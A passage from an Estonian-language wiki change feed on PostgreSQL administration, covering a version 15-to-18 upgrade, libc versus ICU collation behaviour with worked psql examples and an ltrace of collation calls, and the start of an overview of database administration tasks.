 template0                |&lt;br /&gt;
 template1                | 2.41&lt;br /&gt;
 db_infosysteem           | 2.41&lt;br /&gt;
 postgres                 | 2.41&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL v 15 -&amp;gt; v 18 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt tegeleb postgresql tarkvara enda uuendamisega. Üldised ettevalmistused, lülitada välja pgbackrest varundamine selleks, et olemasolevat varundust mitte eksitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql/15/main/postgresql.conf&lt;br /&gt;
..&lt;br /&gt;
archive_mode=off&lt;br /&gt;
archive_command='/usr/bin/true'&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql-common/createcluster.conf.d/moraal.conf&lt;br /&gt;
&lt;br /&gt;
..&lt;br /&gt;
create_main_cluster = false&lt;br /&gt;
initdb_options = '--locale=et_EE.UTF-8 --data-checksums'&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendamise käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_upgradecluster -m upgrade -v 18 15 main&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-in-stages&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-only&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pgbackrest seadistamine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===locale provider - libc===&lt;br /&gt;
&lt;br /&gt;
collate tegeleb kahes dimensioonis&lt;br /&gt;
&lt;br /&gt;
* sorteerimise tulemus st andmete järjestus&lt;br /&gt;
* sorteerimise efektiivsus st on-disk indeksid&lt;br /&gt;
&lt;br /&gt;
create database 'lc_collate' omab vaikimisi mõju kahes kohas&lt;br /&gt;
&lt;br /&gt;
* indeksi moodustamisel 'CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);' saab 'collate ...' ära jätta ja tulemus on sama&lt;br /&gt;
* select päringu tegemisel 'SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;' saab 'collate ...' ära jätta ja tulemus on sama&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* libc puhul saab teha tabeli tulbale indekseid erinevate collate'dega st erinevate keelte kohta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
postgres=# \l db_imretest_libc_en_us_utf_8&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+-----------------------------&lt;br /&gt;
Name              | db_imretest_libc_en_us_utf_8&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
Locale            |&lt;br /&gt;
ICU Rules         |&lt;br /&gt;
Access privileges |&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;C.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_c ON users (username COLLATE &amp;quot;C.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näide&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_et_ee_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'et_EE.UTF-8' LC_CTYPE = 'et_EE.UTF-8' template=template0;&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# \c db_imretest_libc_et_ee_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_et_ee_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===locale provider - icu===&lt;br /&gt;
&lt;br /&gt;
Mõisted&lt;br /&gt;
&lt;br /&gt;
* ICU - International Components for Unicode&lt;br /&gt;
* CLRD - Common Locale Data Repository&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* collate - ei ole väga tavakõne sõna inglise keeles, aga tähendab järjestamist, organiseerimist jms&lt;br /&gt;
* lc_collate ja lc_ctype puudutavad füüsiliselt on-disk andmeid&lt;br /&gt;
* lc_messages, lc_monetary, lc_numeric, lc_time - on on-fly teisendused&lt;br /&gt;
&lt;br /&gt;
Paketihalduses paistavad asjasse puutuvad sellised paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
libicu72 - Debian v. 12&lt;br /&gt;
libicu76 - Debian v. 13&lt;br /&gt;
libicu70 - Ubuntu 22.04&lt;br /&gt;
libicu74 - Ubuntu 24.04&lt;br /&gt;
libicu78 - Ubuntu 26.04&lt;br /&gt;
postgresql-17-icu-ext - Debian v. 13 non-pgdg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# \dOS+&lt;br /&gt;
                                                                                      List of collations&lt;br /&gt;
   Schema   |          Name          | Provider |  Collate   |   Ctype    |      Locale      | ICU Rules | Deterministic? | Description&lt;br /&gt;
------------+------------------------+----------+------------+------------+------------------+-----------+----------------+--------------------------&lt;br /&gt;
 pg_catalog | C                      | libc     | C          | C          |                  |           | yes            | standard C collation&lt;br /&gt;
 pg_catalog | C.utf8                 | libc     | C.utf8     | C.utf8     |                  |           | yes            |&lt;br /&gt;
 pg_catalog | POSIX                  | libc     | POSIX      | POSIX      |                  |           | yes            | standard POSIX collation&lt;br /&gt;
 pg_catalog | af-NA-x-icu            | icu      |            |            | af-NA            |           | yes            | Afrikaans (Namibia)&lt;br /&gt;
 pg_catalog | af-ZA-x-icu            | icu      |            |            | af-ZA            |           | yes            | Afrikaans (South Africa)&lt;br /&gt;
 pg_catalog | af-x-icu               | icu      |            |            | af               |           | yes            | Afrikaans&lt;br /&gt;
 pg_catalog | agq-CM-x-icu           | icu      |            |            | agq-CM           |           | yes            | Aghem (Cameroon)&lt;br /&gt;
 pg_catalog | agq-x-icu              | icu      |            |            | agq              |           | yes            | Aghem&lt;br /&gt;
 pg_catalog | ak-GH-x-icu            | icu      |            |            | ak-GH            |           | yes            | Akan (Ghana)&lt;br /&gt;
 pg_catalog | ak-x-icu               | icu      |            |            | ak               |           | yes            | Akan&lt;br /&gt;
 pg_catalog | am-ET-x-icu            | icu      |            |            | am-ET            |           | yes            | Amharic (Ethiopia)&lt;br /&gt;
 pg_catalog | am-x-icu               | icu      |            |            | am               |           | yes            | Amharic&lt;br /&gt;
 pg_catalog | ar-001-x-icu           | icu      |            |            | ar-001           |           | yes            | Arabic (world)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql&lt;br /&gt;
psql (17.9 (Debian 17.9-0+deb13u1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# \l+&lt;br /&gt;
                                                                                       List of databases&lt;br /&gt;
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | Locale | ICU Rules |   Access privileges   |  Size   | Tablespace |                Description&lt;br /&gt;
-----------+----------+----------+-----------------+-------------+-------------+--------+-----------+-----------------------+---------+------------+--------------------------------------------&lt;br /&gt;
 postgres  | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           |                       | 894 MB  | pg_default | default administrative connection database&lt;br /&gt;
 template0 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7353 kB | pg_default | unmodifiable empty database&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
 template1 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7425 kB | pg_default | default template for new databases&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal seadistustes puuduvad lc_ctype ja lc_collate (alatest v. 16)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql -c &amp;quot;SHOW ALL&amp;quot; | grep lc_&lt;br /&gt;
 lc_messages                                 | en_US.UTF-8                             | Sets the language in which messages are displayed.&lt;br /&gt;
 lc_monetary                                 | en_US.UTF-8                             | Sets the locale for formatting monetary amounts.&lt;br /&gt;
 lc_numeric                                  | en_US.UTF-8                             | Sets the locale for formatting numbers.&lt;br /&gt;
 lc_time                                     | en_US.UTF-8                             | Sets the locale for formatting date and time values.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestused, 'locale provider = icu' ja 'icu locale = und' 'create database' moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# CREATE DATABASE db_imretest_02&lt;br /&gt;
    WITH&lt;br /&gt;
    LOCALE_PROVIDER = 'icu'&lt;br /&gt;
    ICU_LOCALE = 'und'  -- The universal Unicode Root Locale!&lt;br /&gt;
    TEMPLATE = template0;&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
postgresql icu extension kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# create extension icu_ext;&lt;br /&gt;
CREATE EXTENSION&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_number_spellout(1250.50, 'et');&lt;br /&gt;
           icu_number_spellout&lt;br /&gt;
------------------------------------------&lt;br /&gt;
 üks tuhat kakssada viiskümmend koma viis&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_format_datetime(now(), '{full}', 'et');&lt;br /&gt;
                     icu_format_datetime&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
 pühapäev, 14. juuni 2026, kell 14:52:41 Ida-Euroopa suveaeg&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tabeliga järjestusega töötamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;et-EE-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_universal ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_estonian ON users (username COLLATE &amp;quot;et-EE-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_french ON users (username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# \di&lt;br /&gt;
                    List of relations&lt;br /&gt;
 Schema |        Name         | Type  |  Owner   | Table&lt;br /&gt;
--------+---------------------+-------+----------+-------&lt;br /&gt;
 public | idx_users_estonian  | index | postgres | users&lt;br /&gt;
 public | idx_users_french    | index | postgres | users&lt;br /&gt;
 public | idx_users_universal | index | postgres | users&lt;br /&gt;
 public | users_pkey          | index | postgres | users&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
libc põhise ja icu põhise lahenduse function-library call esitamine, illustreerimaks kui päring mis esitatakse on default&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# SELECT username FROM users ORDER BY username;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7918 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_01 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7918 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;\305\240kerin&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;M\303\274ller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -4&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;Muller&amp;quot;)        = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;M\303\274ller&amp;quot;) = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;M\303\274ller&amp;quot;)    = -11&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;Smirnov&amp;quot;)         = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 30&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7935 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_02 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7935 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
[pid 7935] ucol_strcollUTF8_76(0x55c2fcb7aec0, 0x55c2fcc332a0, 0xffffffff, 0x55c2fcc336a8) = 0xffffffff&lt;br /&gt;
^C&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* libc põhisel juhtumil esitatakse mitu 'strcoll' library call'i&lt;br /&gt;
* icu põhisel juhtumil esitatakse üks 'ucol_strcollUTF8_76' library call (sisemiselt küll tehakse seal mitmeid call'isid)&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/docs/current/collation.html&lt;br /&gt;
* https://icu.unicode.org/&lt;br /&gt;
* https://www.cybertec-postgresql.com/en/icu-collations-against-postgresql-data-corruption/&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:PostgreSQL]]&lt;br /&gt;
* [[:Nagiose kasutamine Debian Lenniga]]&lt;br /&gt;
* https://github.com/omniti-labs/pg_extractor&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4214</id>
		<title>PostgreSQL haldamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4214"/>
		<updated>2026-06-15T08:59:26Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* locale provider - libc */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasi haldamise eesmärgiks on tagada korrektselt tootav andmebaasiteenus, mida saavad kasutajad ja rakendused kasutada. PostgreSQL andmebaasi haldamine sisaldab sisaldab üldiselt selliseid tegevusi&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tarkvara paigaldamine süsteemi&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara veaparanduste rakendamine&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara versiooniuuenduste sooritamine&lt;br /&gt;
* Andmabaasile kasutajate ja rakenduse jaoks ligipääsude tegemine&lt;br /&gt;
* Andmebaasi vakumeerimine&lt;br /&gt;
* Andmebaasist või selle osadest arhiivifaili moodustamine ja sellise arhiivifaili kasutamine&lt;br /&gt;
* Andmebaasi varundamine ja taaste&lt;br /&gt;
* Andmebaasi tarkvara eemaldamine süsteemist&lt;br /&gt;
&lt;br /&gt;
Osa neist tegevustest on Kuutõrvajas käsitletetud eraldi tekstides.&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamise alla ei kuulu t andmebaasi kasutamisega seotud küsimused, kuigi tehniliselt võib saada kasutada samu instrumente nii kasutamise kui haldusprotseduuride soovitamiseks, nt programm psql.&lt;br /&gt;
&lt;br /&gt;
Lisaks haldusprotseduuride endile kirjeldatakse käesolevas tekstis ka nt PostgreSQL andmebaasi objektide hierariat ja privileegisüsteemi, samuti, kuidas saada vastuseid haldamise seisukohalt olulistele küsimustele, nt milline on tabeli või andmebaasi suurus MBaitides.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* commit kirjutab muudatuse wal logifaili&lt;br /&gt;
* checkpoint kirjutab muudatused andmefailidesse&lt;br /&gt;
&lt;br /&gt;
Vastaku ühe tabeli mingitele ridadele kolm 8k suurust page't base kataloogi all mingis failis; kui parasjagu baas nendega töötab, sh muudab, siis võiks nii öelda, et neist on olemas kolm eksemplari, kõik tõenäoliselt vähemalt mingitel hetkedel mingis osas erinevad üksteisest&lt;br /&gt;
&lt;br /&gt;
* base kataloogi alla nn data failides&lt;br /&gt;
* shared buffers mälus&lt;br /&gt;
* wal logi kataloogis failides&lt;br /&gt;
&lt;br /&gt;
Andmebaasi mootori üks vastutus seisneb selles, et ta oma dirty, commit, checkpoint jt vahenditega töötab andmetega ja sedasi, et mis iganes hetkel võib juhtuda crash, ikkagi pärast seda kõige hullem, mis juhtub, et keritakse mingi hulk muudatusi tagasi, kuid andmed on siiski kooskõlalised.&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* autovacuum - tabeli ridadega toimunud update ja delete muudatused tekitavad tabelisse 'füüsiliselt' uusi sissekandeid, mille olemasolu on seotud PostgreSQL MVCC süsteemiga, st kui sama reaga tegeles üks kasutaja ja ütles delete, ning samal ajal teine kasutaja luges seda, siis peab baas suutma neid mõlemat kasutust teenindada;   sellel põhjusel kogunevad ühest samast tabeli reast mitmed versioonid, autovacuum tegeleb vanade kasutute versioonide all oleva salvestusressursi uuesti kasutatavaks märkimisega; seejuurus autovacuum ei anna failisüsteemis mahtu tagasi v.a. siis kui tema vabastatavad read asuvad data failide lõpus&lt;br /&gt;
* vacuum full - tabel kopeeritakse sisuliselt ümber ja ruum vabastatakse; ümber kopeerimiseks on vaja sama palju ruumi kui nö mustas tabelis on (st mitte pole vaja lisaks ainult seda ruumi, mis on reaalselt kasutuses); vacuum full saab öelda create database kaupa ja ka tabeli kaupa; vacuum full haldab automaatselt ära indeksid, constraintid jms&lt;br /&gt;
&lt;br /&gt;
===Haldustarkvara===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamiseks sobib kasutada nt selliseid programme&lt;br /&gt;
&lt;br /&gt;
* psql - nt sisaldub paketis postgresql-client-8.3&lt;br /&gt;
* PgAdmin3&lt;br /&gt;
&lt;br /&gt;
===psql utiliidi kasutamine===&lt;br /&gt;
&lt;br /&gt;
